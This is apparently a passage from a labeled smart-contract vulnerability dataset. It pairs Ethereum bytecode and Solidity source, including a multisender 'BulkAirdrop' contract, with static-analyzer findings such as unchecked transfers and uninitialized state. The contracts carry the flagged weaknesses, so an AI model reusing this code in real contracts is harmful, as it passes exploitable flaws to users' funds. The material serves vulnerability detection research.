e57506003810154608060020a90046001608060020a0316155b15156106e957600080fd5b6106f533848434611ac3565b505050565b6000805433600160a060020a0390811691161461071657600080fd5b602680548390811061072457fe5b906000526020600020906005020190508060040154600014151561074757600080fd5b600160049091015550565b60008054819060a060020a900460ff161561076c57600080fd5b602680548490811061077a57fe5b906000526020600020906005020191508160040154600114151561079d57600080fd5b6000838152602860209081526040808320600160a060020a03331680855290835281842054878552602784528285209185529252909120546107e49163ffffffff611d9716565b9050600081116107f357600080fd5b6000838152602760209081526040808320600160a060020a0333168085529083528184208490558684526028835281842081855290925280832083905551909183156108fc02918491818181858888f19350505050158015610859573d6000803e3d6000fd5b50505050565b6000606060006060600080600080600080600080600060268e81548110151561088457fe5b6000918252602090912060059091020160028101546001608060020a03169d50905060018d602181106108b357fe5b01805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109385780601f1061090d57610100808354040283529160200191610938565b820191906000526020600020905b81548152906001019060200180831161091b57829003601f168201915b505050506002830154919d5050608060020a90046001608060020a03169a5060018b6021811061096457fe5b01805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109e95780601f106109be576101008083540402835291602001916109e9565b820191906000526020600020905b8154815290600101906020018083116109cc57829003601f168201915b505050505099508060030160109054906101000a90046001608060020a031698508060030160009054906101000a90046001608060020a03166001608060020a031693508060000154975080600101549650602760008f8152602001908152602001600020600033600160a060020a0316600160a060020a03168152602001908152602001600020549550602860008f8152602001908152602001600020600033600160a060020a0316600160a060020a0316815260200190815260200160002054945080600401546001149250602260008f81526020019081526020016000205491505091939597999b5091939597999b565b6000805433600160a060020a03908116911614610af957600080fd5b6026805483908110610b0757fe5b9060005260206000209060050201905080600401546000148015610b36575060038101546001608060020a0316155b1515610b4157600080fd5b60030180546fffffffffffffffffffffffffffffffff1916600117905550565b6000805433600160a060020a03908116911614610b7d57600080fd5b600082118015610b8e575060648211155b1515610b9957600080fd5b600160a060020a0383161515610bae57600080fd5b6064600160a060020a03301631838203020430600160a060020a03163103905060008111156106f557604051600160a060020a0384169082156108fc029083906000818181858888f19350505050158015610859573d6000803e3d6000fd5b60018160218110610c1a57fe5b018054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281529350830182828015610ca05780601f10610c7557610100808354040283529160200191610ca0565b820191906000526020600020905b815481529060010190602001808311610c8357829003601f168201915b505050505081565b6000805433600160a060020a03908116911614610cc457600080fd5b60005460a060020a900460ff161515610cdc57600080fd5b506000805474ff000000000000000000000000000000000000000019169055600190565b60235481565b60005460a060020a900460ff1681565b60245481565b60265490565b60005433600160a060020a03908116911614610d3d57600080fd5b662386f26fc10000811015610d5157600080fd5b602555565b60008054819060a060020a900460ff1615610d7057600080fd5b6026805484908110610d7e57fe5b9060005260206000209060050201915081600401546000148015610daf575060038201546001608060020a03166002145b8015610dd0575060038201546000608060020a9091046001608060020a0316115b1515610ddb57600080fd5b6000838152602b60209081526040808320600160a060020a033316845290915290205415610e0857600080fd5b6000838152602b6020908152604080832033600160a060020a0381168552925290912060019055610e3a908490611daa565b9050600160a060020a03301631811115610e5357600080fd5b60008111156106f557604051600160a060020a0333169082156108fc029083906000818181858888f19350505050158015610859573d6000803e3d6000fd5b6000805433600160a060020a03908116911614610eae57600080fd5b60005460a060020a900460ff1615610ec557600080fd5b506000805474ff0000000000000000000000000000000000000000191660a060020a179055600190565b60005433600160a060020a03908116911614610f0a57600080fd5b60008054604051600160a060020a0391821692309092163180156108fc0292909190818181858888f19350505050158015610f49573d6000803e3d6000fd5b50565b6000805433600160a060020a03908116911614610f6857600080fd5b6026805484908110610f7657fe5b9060005260206000209060050201905080600401546000148015610fa7575060038101546001608060020a03166002145b1515610fb257600080fd5b60028101546001608060020a0383811691161480610fe6575060028101546001608060020a03838116608060020a90920416145b1515610ff157600080fd5b60030180546001608060020a03928316608060020a02921691909117905550565b600054600160a060020a031681565b60226020526000908152604090205481565b60255481565b6000805433600160a060020a0390811691161461105557600080fd5b602680548390811061106357fe5b9060005260206000209060050201905080600401546000148015611094575060038101546001608060020a03166001145b151561109f57600080fd5b60030180546fffffffffffffffffffffffffffffffff1916600217905550565b60008060006026848154811015156110d357fe5b600091825260209091206005909102016003810154909150608060020a90046001608060020a0316151561110d5760009250829150611143565b6111178433611daa565b6000858152602b60209081526040808320600160a060020a033316845290915290205490935060011491505b50915091565b611151611f5b565b6000805433600160a060020a0390811691161461116d57600080fd5b50506040805160e081018252600080825260208083018281526001608060020a03978816848601908152968816606085019081526080850184815260a0860185815260c08701868152602680546001810182559088529751600589027f744a2cf8fd7008e3d53b67916e73460df9fa5214e3ef23dd4259ca09493a359481019190915594517f744a2cf8fd7008e3d53b67916e73460df9fa5214e3ef23dd4259ca09493a359586015599517f744a2cf8fd7008e3d53b67916e73460df9fa5214e3ef23dd4259ca09493a35968501805494518d16608060020a908102928e166fffffffffffffffffffffffffffffffff19968716178e1692909217905591517f744a2cf8fd7008e3d53b67916e73460df9fa5214e3ef23dd4259ca09493a35978501805492518d16909302908c1691909316179099161790975594517f744a2cf8fd7008e3d53b67916e73460df9fa5214e3ef23dd4259ca09493a35989096019590955584526022909252912055565b602b60209081526000928352604080842090915290825290205481565b60005433600160a060020a0390811691161461131557600080fd5b611342600160207f467269646179203135204a756e65000000000000000000000000000000000000611149565b61136f600260077f467269646179203135204a756e65000000000000000000000000000000000000611149565b61139c601360167f467269646179203135204a756e65000000000000000000000000000000000000611149565b6113b7600f6006600080516020611f98833981519152611149565b6113d2601c6011600080516020611f98833981519152611149565b6113ed601f600d600080516020611f98833981519152611149565b611408600c6003600080516020611f98833981519152611149565b611435601960157f53756e646179203137204a756e65000000000000000000000000000000000000611149565b6114626010601a7f53756e646179203137204a756e65000000000000000000000000000000000000611149565b61148f601d60187f53756e646179203137204a756e65000000000000000000000000000000000000611149565b6114bc601760097f4d6f6e646179203138204a756e65000000000000000000000000000000000000611149565b6114e9600b601b7f4d6f6e646179203138204a756e65000000000000000000000000000000000000611149565b6115166005600e7f4d6f6e646179203138204a756e65000000000000000000000000000000000000611149565b611543601e60087f54756573646179203139204a756e650000000000000000000000000000000000611149565b611570601260047f54756573646179203139204a756e650000000000000000000000000000000000611149565b61159d601460017f54756573646179203139204a756e650000000000000000000000000000000000611149565b6115ca601360027f5765646e6573646179203230204a756e65000000000000000000000000000000611149565b6115f76020600a7f5765646e6573646179203230204a756e65000000000000000000000000000000611149565b611624600760167f5765646e6573646179203230204a756e65000000000000000000000000000000611149565b611651600d60067f5468757273646179203231204a756e6500000000000000000000000000000000611149565b61167e600f601f7f5468757273646179203231204a756e6500000000000000000000000000000000611149565b6116ab601c600c7f5468757273646179203231204a756e6500000000000000000000000000000000611149565b6116d8601d60197f467269646179203232204a756e65000000000000000000000000000000000000611149565b611705600360117f467269646179203232204a756e65000000000000000000000000000000000000611149565b611732601560187f467269646179203232204a756e65000000000000000000000000000000000000611149565b61175f600b60057f5361747572646179203233204a756e6500000000000000000000000000000000611149565b61178c6009601a7f5361747572646179203233204a756e6500000000000000000000000000000000611149565b6117b9601060177f5361747572646179203233204a756e6500000000000000000000000000000000611149565b6117e6600e601b7f53756e646179203234204a756e65000000000000000000000000000000000000611149565b611813600860047f53756e646179203234204a756e65000000000000000000000000000000000000611149565b6118406012601e7f53756e646179203234204a756e65000000000000000000000000000000000000611149565b61185b60206014600080516020612018833981519152611149565b611876600a6001600080516020612018833981519152611149565b61189160166002600080516020612018833981519152611149565b6118ac60076013600080516020612018833981519152611149565b6118c76006601f600080516020611ff8833981519152611149565b6118e2600d600f600080516020611ff8833981519152611149565b6118fd6003601c600080516020611ff8833981519152611149565b6119186011600c600080516020611ff8833981519152611149565b61193360096010600080516020611fd8833981519152611149565b61194e601a6017600080516020611fd8833981519152611149565b6119696015601d600080516020611fd8833981519152611149565b61198460186019600080516020611fd8833981519152611149565b61199f60086012600080516020611fb8833981519152611149565b6119ba6004601e600080516020611fb8833981519152611149565b6119d5601b6005600080516020611fb8833981519152611149565b6119f0600e600b600080516020611fb8833981519152611149565b565b60005433600160a060020a03908116911614611a0d57600080fd5b60008110158015611a1f575060648111155b1515611a2a57600080fd5b602355565b60005433600160a060020a03908116911614611a4a57600080fd5b600160a060020a03811615610f495760008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b60005433600160a060020a03908116911614611aa157600080fd5b60008110158015611ab3575060648111155b1515611abe57600080fd5b602455565b600080602685815481101515611ad557fe5b90600052602060002090600502019150611b1b611b0e6064611b0260235487611f0b90919063ffffffff16565b9063ffffffff611f3416565b849063ffffffff611f4916565b905082811015611b6e57600054600160a060020a03166108fc611b44858463ffffffff611f4916565b6040518115909202916000818181858888f19350505050158015611b6c573d6000803e3d6000fd5b505b60028201546001608060020a0316841415611c60578154611b95908263ffffffff611d9716565b82556000858152602760209081526040808320600160a060020a038a1684529091529020541515611c0557600085815260296020908152604082208054600181018255908352912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0388161790555b6000858152602760209081526040808320600160a060020a038a168452909152902054611c38908263ffffffff611d9716565b6000868152602760209081526040808320600160a060020a038b168452909152902055611d3f565b6001820154611c75908263ffffffff611d9716565b60018301556000858152602860209081526040808320600160a060020a038a1684529091529020541515611ce8576000858152602a6020908152604082208054600181018255908352912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0388161790555b6000858152602760209081526040808320600160a060020a038a168452909152902054611d1b908263ffffffff611d9716565b6000868152602860209081526040808320600160a060020a038b1684529091529020555b60408051600160a060020a0388168152602081018790528082018690526060810185905290517fda187d07f7bdb74f3cad0995fa2e6a51609282c8ad4a7681e0b891b1207a58119181900360800190a1505050505050565b81810182811015611da457fe5b92915050565b600080600080602686815481101515611dbf57fe5b90600052602060002090600502019250611e046064611b02602454606403611df887600101548860000154611d9790919063ffffffff16565b9063ffffffff611f0b16565b6003840154600285015491935060009250608060020a90046001608060020a0390811691161415611e815782541515611e405760009350611f02565b82546000878152602760209081526040808320600160a060020a038a168452909152902054611e7a9190611b02908563ffffffff611f0b16565b9050611efe565b60038301546002840154608060020a918290046001608060020a0390811692909104161415611efe5760018301541515611ebe5760009350611f02565b60018301546000878152602860209081526040808320600160a060020a038a168452909152902054611efb9190611b02908563ffffffff611f0b16565b90505b8093505b50505092915050565b6000821515611f1c57506000611da4565b50818102818382811515611f2c57fe5b0414611da457fe5b60008183811515611f4157fe5b049392505050565b600082821115611f5557fe5b50900390565b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c08101919091529056005361747572646179203136204a756e65000000000000000000000000000000005468757273646179203238204a756e65000000000000000000000000000000005765646e6573646179203237204a756e6500000000000000000000000000000054756573646179203236204a756e6500000000000000000000000000000000004d6f6e646179203235204a756e65000000000000000000000000000000000000a165627a7a72305820deebf66418e08e198a7f7de725039451beadf4cdc38d1eb825139f5900f495e10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 7,934 |
0x86340edd10c6182582699a7631ccabfd979aa2c3
|
// File: contracts/EternalStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
pragma solidity 0.4.24;
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: contracts/UpgradeabilityOwnerStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title UpgradeabilityOwnerStorage
* @dev This contract keeps track of the upgradeability owner
*/
contract UpgradeabilityOwnerStorage {
// Owner of the contract
address private _upgradeabilityOwner;
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function upgradeabilityOwner() public view returns (address) {
return _upgradeabilityOwner;
}
/**
* @dev Sets the address of the owner
*/
function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal {
_upgradeabilityOwner = newUpgradeabilityOwner;
}
}
// File: contracts/UpgradeabilityStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title UpgradeabilityStorage
* @dev This contract holds all the necessary state variables to support the upgrade functionality
*/
contract UpgradeabilityStorage {
// Version name of the current implementation
string internal _version;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the version name of the current implementation
* @return string representing the name of the current version
*/
function version() public view returns (string) {
return _version;
}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
// File: contracts/OwnedUpgradeabilityStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title OwnedUpgradeabilityStorage
* @dev This is the storage necessary to perform upgradeable contracts.
* This means, required state variables for upgradeability purpose and eternal storage per se.
*/
contract OwnedUpgradeabilityStorage is UpgradeabilityOwnerStorage, UpgradeabilityStorage, EternalStorage {}
// File: contracts/SafeMath.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/multisender/Ownable.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title Ownable
* @dev This contract has an owner address providing basic authorization control
*/
contract Ownable is EternalStorage {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner());
_;
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() public view returns (address) {
return addressStorage[keccak256("owner")];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner the address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
setOwner(newOwner);
}
/**
* @dev Sets a new owner address
*/
function setOwner(address newOwner) internal {
emit OwnershipTransferred(owner(), newOwner);
addressStorage[keccak256("owner")] = newOwner;
}
}
// File: contracts/multisender/Claimable.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is EternalStorage, Ownable {
function pendingOwner() public view returns (address) {
return addressStorage[keccak256("pendingOwner")];
}
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner());
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
addressStorage[keccak256("pendingOwner")] = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner(), pendingOwner());
addressStorage[keccak256("owner")] = addressStorage[keccak256("pendingOwner")];
addressStorage[keccak256("pendingOwner")] = address(0);
}
}
// File: contracts/multisender/UpgradebleStormSender.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BulkAirdrop is OwnedUpgradeabilityStorage, Claimable {
using SafeMath for uint256;
event Multisended(uint256 total, address tokenAddress);
event ClaimedTokens(address token, address owner, uint256 balance);
modifier hasFee() {
if (currentFee(msg.sender) > 0) {
require(msg.value >= currentFee(msg.sender));
}
_;
}
function() public payable {}
function initialize(address _owner) public {
require(!initialized());
setOwner(_owner);
setArrayLimit(150);
setDiscountStep(1);
setFee(0.000001 ether);
boolStorage[keccak256("rs_multisender_initialized")] = true;
}
function initialized() public view returns (bool) {
return boolStorage[keccak256("rs_multisender_initialized")];
}
function txCount(address customer) public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("txCount", customer))];
}
function arrayLimit() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("arrayLimit"))];
}
function setArrayLimit(uint256 _newLimit) public onlyOwner {
require(_newLimit != 0);
uintStorage[keccak256("arrayLimit")] = _newLimit;
}
function discountStep() public view returns(uint256) {
return uintStorage[keccak256("discountStep")];
}
function setDiscountStep(uint256 _newStep) public onlyOwner {
require(_newStep != 0);
uintStorage[keccak256("discountStep")] = _newStep;
}
function fee() public view returns(uint256) {
return uintStorage[keccak256("fee")];
}
function currentFee(address _customer) public view returns(uint256) {
if (fee() > discountRate(msg.sender)) {
return fee().sub(discountRate(_customer));
} else {
return 0;
}
}
function setFee(uint256 _newStep) public onlyOwner {
require(_newStep != 0);
uintStorage[keccak256("fee")] = _newStep;
}
function discountRate(address _customer) public view returns(uint256) {
uint256 count = txCount(_customer);
return count.mul(discountStep());
}
function multisendToken(address token, address[] _contributors, uint256[] _balances) public hasFee payable {
if (token == 0x000000000000000000000000000000000000bEEF){
multisendEther(_contributors, _balances);
} else {
uint256 total = 0;
require(_contributors.length <= arrayLimit());
ERC20 erc20token = ERC20(token);
uint8 i = 0;
for (i; i < _contributors.length; i++) {
erc20token.transferFrom(msg.sender, _contributors[i], _balances[i]);
total += _balances[i];
}
setTxCount(msg.sender, txCount(msg.sender).add(1));
emit Multisended(total, token);
}
}
function multisendEther(address[] _contributors, uint256[] _balances) public payable {
uint256 total = msg.value;
uint256 userfee = currentFee(msg.sender);
require(total >= userfee);
require(_contributors.length <= arrayLimit());
total = total.sub(userfee);
uint256 i = 0;
for (i; i < _contributors.length; i++) {
require(total >= _balances[i]);
total = total.sub(_balances[i]);
_contributors[i].transfer(_balances[i]);
}
setTxCount(msg.sender, txCount(msg.sender).add(1));
emit Multisended(msg.value, 0x000000000000000000000000000000000000bEEF);
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner().transfer(address(this).balance);
return;
}
ERC20 erc20token = ERC20(_token);
uint256 balance = erc20token.balanceOf(this);
erc20token.transfer(owner(), balance);
emit ClaimedTokens(_token, owner(), balance);
}
function setTxCount(address customer, uint256 _txCount) private {
uintStorage[keccak256(abi.encodePacked("txCount", customer))] = _txCount;
}
}
|
0x6080604052600436106101035763ffffffff60e060020a6000350416630b66f3f58114610105578063158ef93e146101945780632f781393146101bd5780634e71e0c8146101d557806354fd4d50146101ea578063591552da146102745780635c60da1b146102a757806369fe0e2d146102d85780636fde8202146102f05780638da5cb5b14610305578063ab883d281461031a578063b4ae641c1461039b578063c1258f69146103b0578063c4d66de8146103d1578063ddca3f43146103f2578063df8de3e714610407578063e30c397814610428578063e4e1f29b1461043d578063ee8a0a3014610452578063eff8e7481461046a578063f2fde38b1461048b575b005b604080516020600460248035828101358481028087018601909752808652610103968435600160a060020a031696369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506104ac9650505050505050565b3480156101a057600080fd5b506101a961067e565b604080519115158252519081900360200190f35b3480156101c957600080fd5b506101036004356106c2565b3480156101e157600080fd5b5061010361072a565b3480156101f657600080fd5b506101ff61085d565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610239578181015183820152602001610221565b50505050905090810190601f1680156102665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028057600080fd5b50610295600160a060020a03600435166108f2565b60408051918252519081900360200190f35b3480156102b357600080fd5b506102bc61093b565b60408051600160a060020a039092168252519081900360200190f35b3480156102e457600080fd5b5061010360043561094a565b3480156102fc57600080fd5b506102bc6109b4565b34801561031157600080fd5b506102bc6109c3565b6040805160206004803580820135838102808601850190965280855261010395369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610a0f9650505050505050565b3480156103a757600080fd5b50610295610b70565b3480156103bc57600080fd5b50610295600160a060020a0360043516610c25565b3480156103dd57600080fd5b50610103600160a060020a0360043516610d04565b3480156103fe57600080fd5b50610295610d8c565b34801561041357600080fd5b50610103600160a060020a0360043516610dcf565b34801561043457600080fd5b506102bc610fc8565b34801561044957600080fd5b50610295611012565b34801561045e57600080fd5b50610103600435611053565b34801561047657600080fd5b50610295600160a060020a03600435166110bb565b34801561049757600080fd5b50610103600160a060020a03600435166110e8565b6000806000806104bb336108f2565b11156104d6576104ca336108f2565b3410156104d657600080fd5b61beef600160a060020a03871614156104f8576104f38585610a0f565b610676565b60009250610504610b70565b8551111561051157600080fd5b5084905060005b84518160ff16101561060f5781600160a060020a03166323b872dd33878460ff1681518110151561054557fe5b90602001906020020151878560ff1681518110151561056057fe5b60209081029091018101516040805160e060020a63ffffffff8816028152600160a060020a03958616600482015293909416602484015260448301529151606480830193928290030181600087803b1580156105bb57600080fd5b505af11580156105cf573d6000803e3d6000fd5b505050506040513d60208110156105e557600080fd5b50508351849060ff83169081106105f857fe5b602090810290910101519290920191600101610518565b6106323361062d600161062133610c25565b9063ffffffff61118416565b61119e565b60408051848152600160a060020a038816602082015281517f04afd2ce457d973046bd54f5d7d36368546da08b88be1bca8ae50e32b451da17929181900390910190a15b505050505050565b604080517f72735f6d756c746973656e6465725f696e697469616c697a65640000000000008152815190819003601a01902060009081526007602052205460ff1690565b6106ca6109c3565b600160a060020a031633146106de57600080fd5b8015156106ea57600080fd5b604080517f646973636f756e745374657000000000000000000000000000000000000000008152815190819003600c019020600090815260036020522055565b610732610fc8565b600160a060020a0316331461074657600080fd5b7f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e061076f6109c3565b610777610fc8565b60408051600160a060020a03938416815291909216602082015281519081900390910190a1604080517f70656e64696e674f776e657200000000000000000000000000000000000000008082528251600c9281900383018120600090815260056020818152868320547f6f776e657200000000000000000000000000000000000000000000000000000085528751948590038301852084528282528784208054600160a060020a0390921673ffffffffffffffffffffffffffffffffffffffff199283161790559484528651938490039095019092208152925291902080549091169055565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156108e85780601f106108bd576101008083540402835291602001916108e8565b820191906000526020600020905b8154815290600101906020018083116108cb57829003601f168201915b5050505050905090565b60006108fd336110bb565b610905610d8c565b11156109325761092b610917836110bb565b61091f610d8c565b9063ffffffff61127d16565b9050610936565b5060005b919050565b600254600160a060020a031690565b6109526109c3565b600160a060020a0316331461096657600080fd5b80151561097257600080fd5b604080517f6665650000000000000000000000000000000000000000000000000000000000815281516003918190038201902060009081526020919091522055565b600054600160a060020a031690565b604080517f6f776e6572000000000000000000000000000000000000000000000000000000815281516005918190038201902060009081526020919091522054600160a060020a031690565b34600080610a1c336108f2565b915081831015610a2b57600080fd5b610a33610b70565b85511115610a4057600080fd5b610a50838363ffffffff61127d16565b9250600090505b8451811015610b1b578381815181101515610a6e57fe5b60209081029091010151831015610a8457600080fd5b610aac8482815181101515610a9557fe5b60209081029091010151849063ffffffff61127d16565b92508481815181101515610abc57fe5b90602001906020020151600160a060020a03166108fc8583815181101515610ae057fe5b602090810290910101516040518115909202916000818181858888f19350505050158015610b12573d6000803e3d6000fd5b50600101610a57565b610b2d3361062d600161062133610c25565b6040805134815261beef602082015281517f04afd2ce457d973046bd54f5d7d36368546da08b88be1bca8ae50e32b451da17929181900390910190a15050505050565b60006003600060405160200180807f61727261794c696d697400000000000000000000000000000000000000000000815250600a0190506040516020818303038152906040526040518082805190602001908083835b60208310610be55780518252601f199092019160209182019101610bc6565b51815160209384036101000a6000190180199092169116179052604080519290940182900390912086528501959095529290920160002054949350505050565b6000600360008360405160200180807f7478436f756e740000000000000000000000000000000000000000000000000081525060070182600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b60208310610cc35780518252601f199092019160209182019101610ca4565b51815160209384036101000a600019018019909216911617905260408051929094018290039091208652850195909552929092016000205495945050505050565b610d0c61067e565b15610d1657600080fd5b610d1f8161128f565b610d296096611053565b610d3360016106c2565b610d4164e8d4a5100061094a565b50604080517f72735f6d756c746973656e6465725f696e697469616c697a65640000000000008152815190819003601a0190206000908152600760205220805460ff19166001179055565b604080517f666565000000000000000000000000000000000000000000000000000000000081528151600391819003820190206000908152602091909152205490565b600080610dda6109c3565b600160a060020a03163314610dee57600080fd5b600160a060020a0383161515610e4457610e066109c3565b604051600160a060020a039190911690303180156108fc02916000818181858888f19350505050158015610e3e573d6000803e3d6000fd5b50610fc3565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015610ea857600080fd5b505af1158015610ebc573d6000803e3d6000fd5b505050506040513d6020811015610ed257600080fd5b50519050600160a060020a03821663a9059cbb610eed6109c3565b836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b505050506040513d6020811015610f6a57600080fd5b507ff931edb47c50b4b4104c187b5814a9aef5f709e17e2ecf9617e860cacade929c905083610f976109c3565b60408051600160a060020a03938416815291909216602082015280820184905290519081900360600190a15b505050565b604080517f70656e64696e674f776e657200000000000000000000000000000000000000008152815190819003600c019020600090815260056020522054600160a060020a031690565b604080517f646973636f756e745374657000000000000000000000000000000000000000008152815190819003600c01902060009081526003602052205490565b61105b6109c3565b600160a060020a0316331461106f57600080fd5b80151561107b57600080fd5b604080517f61727261794c696d6974000000000000000000000000000000000000000000008152815190819003600a019020600090815260036020522055565b6000806110c783610c25565b90506110e16110d4611012565b829063ffffffff61134616565b9392505050565b6110f06109c3565b600160a060020a0316331461110457600080fd5b600160a060020a038116151561111957600080fd5b604080517f70656e64696e674f776e657200000000000000000000000000000000000000008152815190819003600c01902060009081526005602052208054600160a060020a0390921673ffffffffffffffffffffffffffffffffffffffff19909216919091179055565b60008282018381101561119357fe5b8091505b5092915050565b80600360008460405160200180807f7478436f756e740000000000000000000000000000000000000000000000000081525060070182600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b6020831061123b5780518252601f19909201916020918201910161121c565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120865285019590955292909201600020939093555050505050565b60008282111561128957fe5b50900390565b7f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e06112b86109c3565b60408051600160a060020a03928316815291841660208301528051918290030190a1604080517f6f776e65720000000000000000000000000000000000000000000000000000008152815160059181900382019020600090815260209190915220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000808315156113595760009150611197565b5082820282848281151561136957fe5b041461119357fe00a165627a7a72305820aa5a0276dadaae5015fd1d93b382c45163dffb18b6e8555199b05b87e8490f840029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,935 |
0xad22f63404f7305e4713ccbd4f296f34770513f4
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
